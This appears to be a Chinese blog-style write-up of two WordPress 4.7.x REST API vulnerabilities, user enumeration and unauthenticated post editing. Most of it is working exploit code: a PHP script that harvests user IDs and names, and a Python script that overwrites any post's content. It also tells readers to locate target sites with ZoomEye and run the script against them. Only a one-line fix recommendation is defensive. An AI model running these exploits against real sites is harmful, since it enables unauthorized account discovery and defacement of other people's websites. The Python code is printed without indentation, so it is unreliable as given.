一、获取user
1.影响:未授权获取发布过文章的其他用户的用户名、id
2.触发前提: wordpress配置REST API
3.影响版本:<= 4.7
4.漏洞说明: Get请求什么都不用做就可以避开wp-includes/rest-api/endpoints/class-wp-rest-users-controller.php 的逻辑判断,返回ture,程序继续执行query,REST API接口查询后以json格式在前端显示。能够获取到用户的一些信息。 请求地址:http://127.0.0.1/wordpress-4.7.1/wp-json/wp/v2/users/
5.exploit:
<?php
#Author: Mateus a.k.a Dctor
#fb: fb.com/hatbashbr/
#E-mail: dctoralves@protonmail.ch
#Site: https://mateuslino.tk
header ('Content-type: text/html; charset=UTF-8');
$url= "http://xxxx.cn/";
$payload="wp-json/wp/v2/users/";
$urli = file_get_contents($url.$payload);
$json = json_decode($urli, true);
if($json){
echo "*-----------------------------*\n";
foreach($json as $users){
echo "[*] ID : |" .$users['id'] ."|\n";
echo "[*] Name: |" .$users['name'] ."|\n";
echo "[*] User :|" .$users['slug'] ."|\n";
echo "\n";
}echo "*-----------------------------*";}
else{echo "[*] No user";}
?>
6.效果:
二、未授权而更改任意文章
1.影响:未授权获取发布过文章的其他用户的用户名、id
2.触发前提: wordpress配置REST API
**3.影响版本:**wp4.7.0-4.7.1
4.漏洞说明: 由于服务器配置的REST API存在漏洞,导致WordPress所有文章内容可以未经验证被查看,修改,删除,甚至创建新的文章
5.exploit:
import json
import sys
import urllib2
from lxml import etree
def get_api_url(wordpress_url):
response = urllib2.urlopen(wordpress_url)
data = etree.HTML(response.read())
u = data.xpath('//link[@rel="https://api.w.org/"]/@href')[0]
# check if we have permalinks
if 'rest_route' in u:
print(' ! Warning, looks like permalinks are not enabled. This might not work!')
return u
def get_posts(api_base):
respone = urllib2.urlopen(api_base + 'wp/v2/posts')
posts = json.loads(respone.read())
for post in posts:
print(' - Post ID: {0}, Title: {1}, Url: {2}'
.format(post['id'], post['title']['rendered'], post['link']))
def update_post(api_base, post_id, post_content):
# more than just the content field can be updated. see the api docs here:
# https://developer.wordpress.org/rest-api/reference/posts/#update-a-post
data = json.dumps({
'content': post_content
})
url = api_base + 'wp/v2/posts/{post_id}/?id={post_id}abc'.format(post_id=post_id)
req = urllib2.Request(url, data, {'Content-Type': 'application/json'})
response = urllib2.urlopen(req).read()
print('* Post updated. Check it out at {0}'.format(json.loads(response)['link']))
def print_usage():
print('Usage: {0} <url> (optional: <post_id> <file with post_content>)'.format(__file__))
if __name__ == '__main__':
# ensure we have at least a url
# if we have a post id, we need content too
print('* Discovering API Endpoint')
api_url = get_api_url(sys.argv[1])
print('* API lives at: {0}'.format(api_url))
# if we only have a url, show the posts we have have
# if we get here, we have what we need to update a post!
print('* Updating post {0}'.format(sys.argv[2]))
#with open(sys.argv[3], 'r') as content:
# new_content = content.readlines()
new_content='fff'
update_post(api_url, sys.argv[2], new_content)
print('* Update complete!')
6.漏洞测试:
6.1 先用zoomeye搜一个靶机
6.2 说明:脚本test.py同目录下创建一个content文件,里面放需要修改的内容
执行脚本:python test.py url 1 content(url为攻击目标这里就不给出了)
ps:这个脚本最好在linux下执行,windows下需要改一下。
7 最后效果图
8 修复建议:升级到最新版wp
9 最后总结:由api漏洞引起的未授权操作应该引起注意,在以后的漏洞研究中应多关注此类漏洞。关于代码方面,大概看了一下,主要还是由于程序员代码逻辑问题导致了未授权操作的发生。